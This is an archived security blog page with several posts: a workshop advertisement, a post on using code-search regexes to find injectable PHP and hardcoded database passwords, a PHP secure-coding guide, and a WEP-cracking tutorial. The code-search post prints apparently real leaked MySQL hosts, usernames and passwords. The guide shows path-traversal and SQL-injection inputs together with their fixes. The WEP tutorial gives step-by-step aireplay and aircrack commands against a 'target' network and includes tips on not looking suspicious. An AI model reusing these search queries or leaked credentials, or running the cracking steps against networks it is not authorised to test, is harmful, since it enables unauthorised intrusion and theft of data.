Showing posts with label Security. Show all posts
Showing posts with label Security. Show all posts

Workshop:Advance Ethical Hacking & ISO 27001 Auditor (ISMS)

|
Learn not only how to obtain the right tools to defend your system but also how to design YOUR OWN TOOLS

Join this course to know the less well-known, less obvious, and consequently more difficult to master techniques in ethical hacking that are available today to protect your network and system



Take an extra step in learning the benefits and advantages of Information Security Management System and how to be an ISO 27001 auditor

Gain knowledge & skills as an ISO 27001 ISMS auditor and make your organization compliant to the international standards.

"Advance Ethical Hacking"
18th – 19th May 2009

"Information Security Management System (ISMS) Auditor"
20th – 21st May 2009

ORGANIZED BY CORPORATE FRONTIER SERVICES
Tel: +6 088731410 www.cfrontier.com Fax: +6 088 - 731 573

How Hackers Are Using Google To Pwn Your Site

|
Hmm I wonder If we could find some xss exploits…

lang:php (ECHO|PRINT) .*\$_(GET|POST|COOKIE|REQUEST|FILES)

100,000+ results

How About some SQL Injection exploits?

lang:php query\(.*\$_(GET|POST|COOKIE|REQUEST|FILES).*\)

3000 results

hrmm I wonder how easy it is to find host,user,pass for mysql databases…. Lets try:

lang:php mysql_connect\((”|’)[a-zA-Z0-9_.]+(”|’),(”|’)[a-zA-Z0-9]+(”|’) -localhost -127.0.0.1 -192.168

100 results found.

This query might be a little puzzling for those that are not Google ninjas like me so.. I will explain. Basically we are checking for anything that ends in .php extension. Then we search the file for mysql_connect. If it contains Mysql we look for the pattern of a connection string. lastly we use the minus sign to get rid of all localhost databases (cause we cant access them).

So did we find anything interesting? Well…

Lets just look at the first 10 results:

www.ubio.org/downloads/XID.TAR.gz - Unknown License - PHP
connect.php

$connection = mysql_connect(”RANSOM”,”GlobalWebUser”,”goober8″) or die(”Couldn’t connect.”);
$db_name = “dwf”;


Now in this case RANSOM is probably a local box…

ohh whats this:

$f = mysql_connect(”zeus.mbl.edu”,”tns”,”");
if (empty($limit)) $limit=50;


hrmm intersting….

more?

$db=mysql_connect(”62.149.150.11″,”Sql43254″,”M9dKTz3M”);
$selezione=mysql_select_db(”Sql43254_4″, $db);


I can post tons of other examples but I think I have made my point. Watch your logs for people coming from google code search and always make sure your running the latest version of your software.

Also keep in mind my searchers were only looking for .php files. This is a small percentage of all the different languages and filetypes out there.

Be scared. Be very scared.

source

Security in your online applications

|
1) General Security

(i) Choose your sources carefully
One of the great aspects of PHP is the sheer volume of articles, tutorials and code snippets available on the internet. The problem with the internet as an informative resource is it's simply not reliable. Anyone can publish anything and there's no opportunity for other readers to highlight any issues the article has missed or, more crucially, correct any mistakes made by the author. Fortunately this is less of a problem nowadays, as most websites allow readers to post comments and voice any criticisms. However this is still an important factor to remember when using a search engine to find resources - always verify your source, read any user posted comments and if appropriate, (e.g. if you find conflicting sources), stay with reputable websites. Additionally, with the fast evolving nature of PHP, ensure the article is not outdated.

(ii) Keep updated
No matter how secure your own code is, if you are using any third party software, make sure you keep up to date. There's nothing wrong with integrating other scripts with your own but unless you ensure that code is also secure by fixing any vulnerabilities, you are still at risk. This is even more important once a bug fix is officially documented and released, for obvious reasons. This applies to everything you're running on your server - including Apache and even PHP itself.

(iii) Protect your server
Dedicated and VPS servers are becoming increasingly popular. Unfortunately, knowledge and understanding of server administration is not. If you are unsure how to secure your server, seek guidance from your hosting provider and research your options or better yet, hire someone to handle that for you.

(iv) Password complexity
And of course, always use a complex password - no matter how secure you make your code, if someone finds out your password, they can do everything you can do. For instance, if you've coded yourself a wonderfully powerful and secure backend to manage your entire collection of websites and then you protect it with a password of "apple", the chances are it will not last very long.



2) Coding Secure PHP

Never, ever assume anything. If you follow good coding standards anyway, this should not be a new concept to you. There are two different types of assumptions commonly and mistakenly made when coding - firstly, that PHP will behave in a particular manner (in terms of the configuration, extensions enabled and functions available) and secondly that the contents of a particular variable will always be what you are expecting.

(i) Cross platform compatibility
Another way of describing the first assumption is the environment. If you are coding a particular script for your own personal use only, this becomes almost irrelevant. Problems arise when you create scripts to be distributed and you do not know how the script will behave in other environments, i.e. on other servers. As you write your code, you need to be aware of the functions you are using. Always check the manual (see php.net) and read the documentation carefully. Most crucially, make a note of the requirements which are listed in parenthesis below the function name. If you use functions that require a particular version of PHP, make sure you list that version or higher as a requirement to run your script when releasing it. You should also check the return values and ensure your script can handle anything that can be returned, not merely what you are expecting to be returned.

Now you may be wondering where this explanation of simply good coding practices becomes a security issue and it is in error reporting. Every error message contains a full path to the problematic script, which is useful for debugging but not so helpful when it is displayed to all your visitors.

Other environmental factors include the handling of particular file extensions - if you use a different extension for particular parts of your application, for example .inc for your configuration, you need to ensure that the server the script is running on will not display .inc files as plain text files and reveal sensitive data. The easiest method around this is to use always use .php and if you really want to keep a separate extension, use .inc.php.

(i) Incoming data
Regardless of your environment, the other assumption will always be an issue. Every time you use data from an external source (POST, GET, COOKIE, SERVER, ENV), you need to sanitize it. Never think "what will this variable contain"; always think "what might this variable contain and how could that be used maliciously"; (if you want to paraphrase that thought process into something a little less awkward, feel free to do so). Let's start with the most obvious:

$page = $_GET['page'];
include 'pages/' . $page;



Going back to the overlap with coding standards, we do not know if the page= variable will be set in the query string, nor do we know if the requested file exists. A better method to avoid any error messages would be:

$page = empty($_GET['page']) ? 'index.php' : $_GET['page'];
if ( file_exists('pages/' . $page) )
include 'pages/' . $page;
else
include 'pages/404.php';



You may think that will allow any page in the 'pages' directory to be loaded, using the value of page from the URL. And you would be right to think so, but it will also allow absolutely any file to be loaded. By using "..", you can move up a directory and access any page you want. This has serious implications if the user is able to go up beyond the webroot and execute scripts or read files that are normally inaccessible - such as your password files for http authentication! You may never intend to link to any page that is not in the format myscript.php?page=somepage.php but do not think that that is all $_GET['page'] can contain. Instead you should be aware that a malicious user could call the script as myscript.php?page=../../somewhere/ishouldnot.be and so you must code accordingly. The next improvement would be to run a str_replace() on the incoming GET value and strip out any instances of ".." but let's go one step further for total peace of mind and say the only files it should be including are .php ones, and the only valid values for the page variable are alphanumeric strings:

if ( empty($_GET['page']) ) {
$page = 'index';
} else {
$page = preg_replace('/[^a-zA-Z0-9]/', '', $_GET['page']);
}
if ( file_exists('pages/' . $page . '.php') )
include 'pages/' . $page . '.php';
else
include 'pages/404.php';



Note: I have written out this example in full for readability but this entire code snippet could be condensed to two lines using the ternary operator. I mention this because it shows how simple it is to convert a huge vulnerability into a piece of secure, functional code.

The principle shown here applies to every GET, POST or COOKIE value you use in your scripts. Also be aware that the request headers sent by the browser will be available in the SERVER array - this includes the user agent and referrer. Always assume the worst case and create your code to cope with any unexpected input either by throwing an error or resorting to a default value. Do not be tempted to think that using POST data is more secure than GET data. It's not. All (cookies included) can easily be manipulated by a user to contain anything the user wants.

There are two common types of attack that rely on manipulating the data sent to a script. The first of which is effectively the same thing as I've already described, except rather than relating to the filesystem it exploits databases.

(a) SQL injection
SQL injection refers to the method of inserting malicious code into a query. This occurs when you use input data directly in a query and the resulting statement is not as intended. For instance, consider the following query:

SELECT * FROM table WHERE id = $id



Assume $id contains the value of id=42 from the URL. The query that is executed becomes:

SELECT * FROM table WHERE id = 42



Now let's say we have a malicious user wanting to cause trouble. If they call the script with id=42; DROP DATABAS.E dbname, the query becomes two queries:

SELECT * FROM table WHERE id = 42; DROP DATABAS.E dbname



The implications of this are obvious: by using unsanitized input in your queries, anyone can execute any query possible. This includes both read and write operations, which could lead to your entire database being deleted as illustrated. However, deletion is not the worst of it - you can have your most sensitive data read, overwritten or even additional false data inserted. For example, if you run a membership site that requires payment, you could have users simply creating their own accounts by directly inserting rows into your database. The problems need no further explanation but what can you do to prevent it?

As you may have noticed, I opted for a generic example that only illustrated the queries themselves. The reason I did not show you the corresponding PHP code is because this major problem is not so significant when working with PHP and mySQL. According to the manual, the function mysql_query() does not support multiple queries - the reasoning behind this is, I assume, to help prevent SQL injection attacks of this nature. By only permitting one query per mysql_query() call, the worst attacks can be prevented. As this also hinders developers wishing to send multiple queries, this behaviour may go the same way as magic quotes (which was another safeguard against malicious inputs but has since been removed). Either way, even with this protection you are by no means safe from SQL injections.

Let us now look at a basic member system. There is a members table in the database that stores the username and password for each account. Our login page looks up the submitted username and password in the database - if found, the user is logged in. Here is the code we could use (this code is to illustrate the vulnerability only, it is not intended to be a good example of how to code a login system):

// Assume the script has already connected to the database

// Check submitted data exists
if ( empty($_POST['username']) || empty($_POST['password']) ) {
die('Please fill in your username and password.');
}

// Convert to lowercase (username is not case sensitive)
$username = strtolower(trim($_POST['username']));

// Hash the password
$password = md5(trim($_POST['password']));

// Lookup in database
if ( ! $result = mysql_query("SELECT * FROM members WHERE LOWER(username) = '$username' AND password = '$password' LIMIT 1") ) {
die('MySQL error.');
}

// Process login or display failure message
if ( mysql_num_rows($result) == 1 ) {
// Successful login
} else {
// Failed login
}




You should be able to spot the problem with this code immediately. The password is fine, we know the return value for the md5() function is always a 32 character hexadecimal string. Regardless of what is submitted as the password, there can be no problems with that part. However, we do not validate the username at all - simply convert it to lowercase and remove unnecessary spaces. Under normal circumstances, I am sure you can imagine what the query would look like but what if I enter the following as my login credentials?

Username: admin' #
Password: apple

The resulting query that is executed is:

SELECT * FROM members WHERE LOWER(username) = 'admin' #' AND password = '1f3870be274f6c49b3e31a0c6728957f' LIMIT 1



And as # symbol marks a comment, everything after it is ignored. In effect, the query we are now running is simply:

SELECT * FROM members WHERE LOWER(username) = 'admin'



A malicious user could therefore log in to any account they desire simply by knowing the username! Another variant is injecting a OR 1=1 clause into the query, and since 1 always equals 1, the where conditions are satisfied.

Most crucially, the character causing all this fuss is the single quote '. We could protect ourselves from SQL injection by simply replacing the ' with it's HTML entity equivalent, or more commonly, escaping it with a backslash. The mySQL extension actually contains a function to do all this for us - we only need to pass our data through the mysql_real_escape_string() function to ensure it is safe to use in a query. Going back to our example, if we pass $username through this mysql_real_escape_string(), the resulting query is:

SELECT * FROM members WHERE LOWER(username) = 'admin\' #' AND password = '1f3870be274f6c49b3e31a0c6728957f' LIMIT 1



It now must look through the database for an account with username admin' # and the correct matching password. There is one other useful function for making data safe for use with queries and that is intval(). Obviously it is only applicable to numeric data but this function will always return a number - if the value passed in is numeric (or begins with a number), it returns that number and otherwise returns 0. If we were to use this on our first example, whatever we added after our "42" will be ignored. As you often will be relying on numeric values, intval() is a fast and easy way of keeping your script secure.

(b) Session hijacking
Sessions rely on a unique session ID for each visitor. The ID usually corresponds to a temporary file on the webserver used to store all the session data, although the underlying technology is irrelevant as PHP handles that for us. Every time a request is made, the session ID is sent to the server (either in a cookie or as a GET parameter in the URL query string) and the server looks up the corresponding session data for that particular user. With PHP, this data is then available in the $_SESSION array. All this does is allow us to maintain data across multiple page requests for a particular user. Every website that allows you to login will be using sessions.

A problem occurs if someone else gets hold of your session ID. All a malicious user needs to become you is your session ID - if they then send it to the server as if it were their own, the server will assign all your session data to the hacker. Effectively, they will be logged in as you. You want to ensure that the session ID you receive is the same ID as you sent out to the same user, and no one else.

The bad news is there is not a quick fix for this problem. The entire point of sessions is that they allow you to maintain state across a stateless protocol - that is, each request to a server occurs separately and has no relation to any previous or future request. Since we have no way of identifying the user, we have no way of determining if a session is hijacked.

Luckily there are factors that do, for the most part, remain constant. It is highly likely that the IP address of the user and the browser being used (i.e. user agent) will remain constant throughout the session. Therefore if we add to our session code a quick check that compares the values of the current request with previously stored values, we can ensure the user does not have their session stolen. The downside to this method is that the IP address and user agent can legitimately (albeit rarely) change throughout a session and any users experiencing this would then become logged out, or whatever else you choose to do with suspected hijacks. As with all security precautions involving user actions, you need to find the right balance between security and functionality. If there is nothing to be lost if a session does get hijacked, there is no need to add this to your applications. However if you're handling sensitive data you will want to be as safe as possible. The following example illustrates how to protect against session hijacking:

// Activate PHPs session handling
session_start();

// Check for stored IP address / user agent
if ( isset($_SESSION['authenticate']) ) {
if ( md5($_SERVER['REMOTE_ADDR'] . $_SERVER['USER_AGENT']) != $_SESSION['authenticate'] ) {
die('Suspected session hijack.');
unset($_SESSION);
session_destroy();
}
} else {
// Create a store a md5 hash of identifying data
$_SESSION['authenticate'] = md5($_SERVER['REMOTE_ADDR'] . $_SERVER['USER_AGENT']);
}




Despite any additional security you put in place, you can never guarantee it will be enough. For the most important actions, the only way to ensure the current user is a valid user is to require them to input their password again. (Even this is not foolproof but if an account is illegally accessed in this way, it will not be the fault of your coding). Each time you hassle them to re-enter their password, you are negatively affecting their browsing experience. Once again, it is up to you to strike an appropriate balance between security and functionality.

Cracking WEP encryption

|
Ok, this is a tutorial explaining how to crack most WEP encrypted Access Points out there. The tools used will be as follows:

Kismet (any working version)
>= Aireplay 2.2 beta
>= Aircrack 2.1

As for wireless cards, i recommend any Prism , Orinoco , or Atheros based cards (i used the D-Link 650 Rev.1a).


Getting Started:

Let's see, First thing you are going to want to do is charge your lappy to the top (aireplay and aircrack drain the battery quite a bit) Next you are going to want to load up your favourite live CD (i used Whoppix 2.7 final) or Linux OS, then stumble across a encrypted WLAN, use Kismet to do so. Make sure you have configured your kismet .conf file correctly to be able to use your card (locate your kismet.conf file and open with your favourite text editor, i used pico);


CODE
# Sources are defined as:
# source=sourcetype,interface,name[,initialchannel]
# Source types and required drivers are listed in the README
# The initial channel is optional, if hopping is not enabled it can be used
# to set the channel the interface listens on.
# YOU MUST CHANGE THIS TO BE THE SOURCE YOU WANT TO USE
source=orinoco,eth1,kismet
#source=wlanng,wlan0,Prism
#source=kismet_drone,192.168.2.252:3501,kismet_drone


^^ that is an example of part of my kismet.conf, initially that was wrong for me, i had to comment out the first line and uncomment the second (my wireless device name was wlan0, you can find this out by typing 'iwconfig' in a terminal).
Note: To find your cards chipset have a good google on the model number of your card or try checking here http://www.linux-wlan.org/docs/wlan_adapters.html.gz . A full list of supported chipsets can
be found on the Kismet website under Documentation.

Changed kismet.conf:

CODE
# Sources are defined as:
# source=sourcetype,interface,name[,initialchannel]
# Source types and required drivers are listed in the README
# The initial channel is optional, if hopping is not enabled it can be used
# to set the channel the interface listens on.
# YOU MUST CHANGE THIS TO BE THE SOURCE YOU WANT TO USE
#source=orinoco,eth1,kismet
source=wlanng,wlan0,Prism
#source=kismet_drone,192.168.2.252:3501,kismet_drone


Save the changes you make and go back to a terminal and run 'kismet', it should load up if you configd it properly. Once you have got kismet going, have a good stumble around your area, to see if a WLAN has WEP enabled, kismet should have a column near the ESSID titled with 'W' if it has WEP enabled it will have a Y, if not it will be a N.


Going in for the kill:

So now you got a target you are going to make sure you dont look suspicious and you got at least 15mins worth of battery life left Razz. Making sure you know the channel the Access Point is on (under the CH cloumn in kismet) and also the mac address of the Access Point by hiting 's' (to sort) then scrolling to the desired Access Point and then typing 'i' which gives you detailed info on the Access Point selected.

First off you are going to want to set your wireless card to the right mode, depending on what chipset depends on what commands you have got to use:

CODE
If you use madwifi, you may have to place the card in
pure 802.11b mode first:
iwpriv ath0 mode 2

If you use wlan-ng, run
./wlanng.sh start wlan0 [comes with AirePlay2.2]

Otherwise run:
iwconfig ath0 mode Monitor channel
ifconfig ath0 up


Read the AirePlay2.2 readme for more info.
Start by opening up another terminal window and cd into your aircrack directory and launch airodump:
Code:
#./airodump
[version crap]
usage: ./airodump [mac filter]

e.g
./airodump wlan0 linksys

The mac filter is used when you have more than one Access point on the same channel at once, so say you have 'jim_home' and 'linksys' both essid's of access points both on channel 11 you would grab the mac address of of the Access Point in kismet, by hiting 's' (to sort) then scrolling to the desired Access Point and then typing 'i' which gives you detailed info on the Access Point selected. Ok so now you have got a stream of packets from your target, you see the IV column, those are whats known as 'weak key' packets, we want as many of them as we can get (400k+ is a nice number Razz). Now we are going to capture a 'weak key' packet from on the network we are targeting and going to flood the Access Point with it in hope that we get lots of 'weak key' replies sent out so we can eventually crack the password. So now in your other terminal window 'cd' into your aireplay directory and execute aireplay ('./aireplay'[return]):


CODE
capture packets unless interface #1 is specified.
source options:
-i : capture packet on-the-fly (default)
-r file : extract packet from this pcap file
filter options:
-b bssid : MAC address, Access Point
-d dmac : MAC address, Destination
-s smac : MAC address, Source
-m len : minimum packet length, default: 40
-n len : maximum packet length, default: 512
-u type : fc, type - default: 2 = data
-v subt : fc, subtype - default: 0 = normal
-t tods : fc, To DS bit - default: any
-f fromds : fc, From DS bit - default: any
-w iswep : fc, WEP bit - default: 1
-y : don't ask questions, assume yes
replay options:
-x nbpps : number of packets per second
-a bssid : set Access Point MAC address
-c dmac : set Destination MAC address
-h smac : set Source MAC address
-o fc0 : set frame control[0] (hex)
-p fc1 : set frame control[1] (hex)
-k : turn chopchop attack on


e.g
./aireplay -b 00:FF:00:FF:00:FF -x 512 wlan0

Here we are going to grab a few packets from the Access Point with the MAC address 00:FF:00:FF:00:FF until we catch a 'weak key' packet which then aireplay will ask you if you want to use to then flood the Access Point with that packet. when it asks you if it can use one of the packets hit 'y' then return. If you flick back to your terminal with airodump running you should see the packets being captured will increase by a huge amount and with that the IV packets should also be increasing pretty damn fast aswell, if all went well in about 10mins you should have enough packets to then dump into aircrack. Ok so you want at least 400k+ IV packets (the more the better), once you got a decent amount hit 'control+c' in both terminal windows to terminate both aireplay and airodump, now 'cd' into your aircrack directory and run aircrack ('./aircrack'[return]):


CODE
aircrack 2.1 - (C) 2004 Christophe Devine
usage: ./aircrack [options] ...
-d : debug - specify beginning of the key
-f : bruteforce fudge factor (default: 2)
-m : MAC address to filter usable packets
-n : WEP key length: 64 / 128 / 256 / 512
-p : SMP support: # of processes to start
-q : Quiet mode (less print more speed)


e.g
./aircrack -n 128 linksys.cap

what i did there was set aircrack to read my packet file called linksys.cap (what airodump creates) and telling aircrack it was a 128 bit encryption. If all goes well you will get the key in nice red text.

KEY FOUND: [ Pwn3d ]

source